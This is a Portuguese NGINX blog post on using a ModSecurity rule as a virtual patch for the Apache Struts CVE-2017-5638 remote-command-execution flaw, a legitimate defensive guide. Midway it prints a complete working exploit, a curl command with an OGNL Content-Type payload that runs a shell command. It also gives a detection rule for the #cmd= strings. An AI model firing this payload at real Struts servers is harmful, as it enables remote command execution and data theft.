Usando o ModSecurity para aplicar um patch virtual à vulnerabilidade CVE-2017-5638 do Apache Struts

NGINX | 22 de janeiro de 2018

[Editor – O módulo NGINX ModSecurity WAF para NGINX Plus deixou oficialmente de ser comercializado em 1º de abril de 2022 e entrará em fim de vida útil em 31 de março de 2024. Para mais detalhes, consulte F5 NGINX ModSecurity WAF está entrando em fim de vida útil<.htmla> em nosso blog.]

Muitas vulnerabilidades de segurança são encontradas em bibliotecas usadas pelo código de aplicações. Quando não for viável implantar rapidamente uma correção no código de uma biblioteca, você poderá usar o ModSecurity para interceptar uma exploração, aplicando uma “correção virtual” ao código afetado até que seja possível atualizar as bibliotecas afetadas.

A vulnerabilidade da biblioteca de aplicativos Apache Struts (CVE-2017-5638), que levou à violação de 143 milhões de contas da Equifax, é um exemplo de exploração que pode ser corrigida virtualmente. A assinatura da vulnerabilidade é a presença das strings #cmd= ou #cmds= nos cabeçalhos HTTP Content-Type, Content-Disposition ou Content-Length. (Para obter mais detalhes, consulte abaixo.)

Usando o ModSecurity, podemos criar um patch virtual com uma regra simples que procura as strings maliciosas nos cabeçalhos HTTP afetados:

SecRule REQUEST_HEADERS:Content-Type|REQUEST_HEADERS:Content-Length|REQUEST_HEADERS:Content-Disposition "@rx #cmds?=" "id:5638,auditlog,log,deny,status:403"

Definimos a regra com SecRule, fornecendo três parâmetros:

  1. Os cabeçalhos da requisição nos quais pesquisar, na forma de três variáveis REQUEST_HEADERS combinadas com o operador OR
  2. A expressão regular compatível com PERL (PCRE), conforme especificada por @rx, que pesquisa nos cabeçalhos de solicitação especificados por strings que incluem #cmd= ou #cmds=
  3. A ação a ser executada

Se o ModSecurity estiver configurado no modo de bloqueio ativo, ele descartará todo o tráfego que corresponder à PCRE e, portanto, acionará a regra.

Saiba como começar a usar o NGINX e o ModSecurity juntos com nosso e-book: ModSecurity 3.0 e NGINX: Guia de início rápido

Por que usar patches virtuais?

Em muitos casos, é mais rápido implantar uma regra no ModSecurity do que corrigir o código afetado, testá-lo novamente e, em seguida, implantá-lo em produção.

Considere a vulnerabilidade do Apache Struts como exemplo: como o Struts é uma biblioteca de aplicativos, e não um pacote do sistema operacional, sua atualização em um ambiente corporativo de produção pode levar algum tempo. Como parte da atualização para uma nova versão do Struts, cada aplicativo que depende dele precisa ser recompilado e testado com a biblioteca mais recente. Uma grande organização pode ter centenas de aplicativos, cada um com sua própria versão da biblioteca do Struts, permanecendo vulnerável até que todos os aplicativos sejam atualizados.

Com a regra personalizada do ModSecurity implementada, você pode aplicar as correções ao software de produção com cuidado e dentro de um cronograma razoável, sem a pressão de estar vulnerável. Depois que todos os softwares afetados forem atualizados, a regra personalizada poderá ser desativada.

Como funciona a exploração da vulnerabilidade CVE-2017-5638

A CVE-2017-5638 do Apache Struts é uma vulnerabilidade de execução remota de comandos (RCE). Esse tipo de vulnerabilidade permite que o invasor execute comandos arbitrários, como /bin/bash ou cmd.exe, nos sistemas-alvo. Com essa capacidade, o invasor pode pesquisar dados confidenciais no sistema de arquivos e na rede, com o mesmo nível de acesso do servidor de aplicações Java. Por exemplo, se o servidor de aplicações Java estiver sendo executado como root, o invasor terá privilégios de root no sistema-alvo.

De acordo com o CVE oficial, a vulnerabilidade ocorre quando um invasor envia um cabeçalho HTTP Content-Type, Content-Disposition ou Content-Length malformado. O Apache Struts gera uma exceção quando esses cabeçalhos HTTP não correspondem a nenhum dos valores esperados. O problema ocorre porque o código de tratamento de exceções tenta exibir o cabeçalho inválido sem escape. (Nesse contexto, “sem escape” significa que os comandos suspeitos não são precedidos por caracteres que impedem sua execução – caracteres de escape –, como normalmente é feito ao exibir código.)

O invasor pode inserir uma expressão da Object Graph Navigation Library (OGNL) no cabeçalho Content-Type. A OGNL permite executar comandos do sistema. Quando o cabeçalho inválido e sem escape é exibido, a expressão OGNL é avaliada e todos os comandos do sistema contidos nela são executados.

Os exploits geralmente são uma variação do comando curl abaixo.

curl -H "Content-Type:%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ls -ltr').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}" www.example.com

A sintaxe principal está na segunda metade do comando: uma ocorrência de cada uma das strings #cmd= e #cmds= (destacadas acima). Cada uma das strings é seguida pelo comando de sistema a ser executado.

Resumo

A solução preferencial é sempre corrigir imediatamente o software vulnerável. No entanto, aplicar correções em software de produção pode ser demorado, e apressar as atualizações pode ser arriscado. Criar uma correção virtual para o software vulnerável com o ModSecurity pode ajudar a ganhar tempo.

Com a aplicação de patches virtuais, você cria uma regra personalizada do ModSecurity para bloquear o tráfego que possa explorar a vulnerabilidade de segurança, como a CVE-2017-5638. Dessa forma, você protege seu site contra o ataque. Assim, pode aplicar patches aos servidores de produção com cuidado e dentro de um cronograma razoável, sem receio de sofrer um ataque nesse meio-tempo.

Se quiser saber mais sobre o ModSecurity e o NGINX ModSecurity WAF, baixe nosso e-book ModSecurity 3.0 e NGINX: Guia de início rápido.

Recursos

[O módulo NGINX ModSecurity WAF para o NGINX Plus saiu oficialmente de comercialização em 1º de abril de 2022 e chegará ao fim da vida útil em 31 de março de 2024. Para mais detalhes, consulte F5 NGINX ModSecurity WAF está chegando ao fim da vida útil<.htmla> em nosso blog.]


Compartilhar
Tags: F5 NGINX, Tech

Sobre o autor

Publicações relacionadas no blog

Como o F5 NGINX One aprimora o gerenciamento e a observabilidade
NGINX | 10/10/2024

Como o F5 NGINX One aprimora o gerenciamento e a observabilidade

Descubra como o F5 NGINX One aprimora o gerenciamento e a observabilidade de ambientes híbridos e multicloud ao oferecer um console web centralizado baseado em SaaS, com insights em tempo real, conformidade automatizada e gerenciamento simplificado de configurações.

Do OpenAPI ao NGINX como gateway de API usando uma API declarativa
NGINX | 17/06/2024

Do OpenAPI ao NGINX como gateway de API usando uma API declarativa

Descubra como transformar uma definição de esquema OpenAPI em uma configuração NGINX totalmente funcional, operando como um API Gateway com a segurança de um Web Application Firewall e um Portal do Desenvolvedor, usando uma abordagem declarativa de API.

Como gerenciar picos repentinos de tráfego e sobrecarga do servidor
NGINX | 14/07/2021

Como gerenciar picos repentinos de tráfego e sobrecarga do servidor

Picos de tráfego e sobrecarga de servidores são preocupações sérias para varejistas online em qualquer época, mas especialmente durante a “Cyber Season” de compras de fim de ano. Detalhamos como você pode aproveitar as soluções de entrega de aplicações de nível de produção da NGINX para se preparar para aumentos repentinos de tráfego.

Distribuição segura de chaves privadas SSL com o NGINX
NGINX | 02/04/2019

Distribuição segura de chaves privadas SSL com o NGINX

Descrevemos três maneiras progressivamente mais seguras de proteger chaves privadas SSL ao configurar o NGINX para processar tráfego HTTPS: permitir acesso de leitura apenas ao usuário root, criptografar as chaves com senhas armazenadas separadamente e distribuir as senhas a partir de um repositório central.

Agrupando solicitações de API em lotes com NGINX Plus e o módulo JavaScript do NGINX
NGINX | 24/05/2018

Agrupando solicitações de API em lotes com NGINX Plus e o módulo JavaScript do NGINX

O módulo JavaScript do NGINX lançado com o NGINX Plus R15 oferece suporte a subsolicitações, possibilitando uma classe totalmente nova de casos de uso para o NGINX Plus. Este exemplo completo também usa a API do NGINX Plus e os módulos de chave-valor para converter solicitações de API dos clientes em solicitações separadas para as APIs dos microsserviços que compõem um aplicativo.

Como superar o esgotamento de portas efêmeras no NGINX e no NGINX Plus
NGINX | 19/04/2016

Como superar o esgotamento de portas efêmeras no NGINX e no NGINX Plus

Confira dicas para evitar o esgotamento de portas efêmeras com ajustes no kernel do Linux, conexões keepalive e conexões vinculadas dinamicamente a endereços IP locais.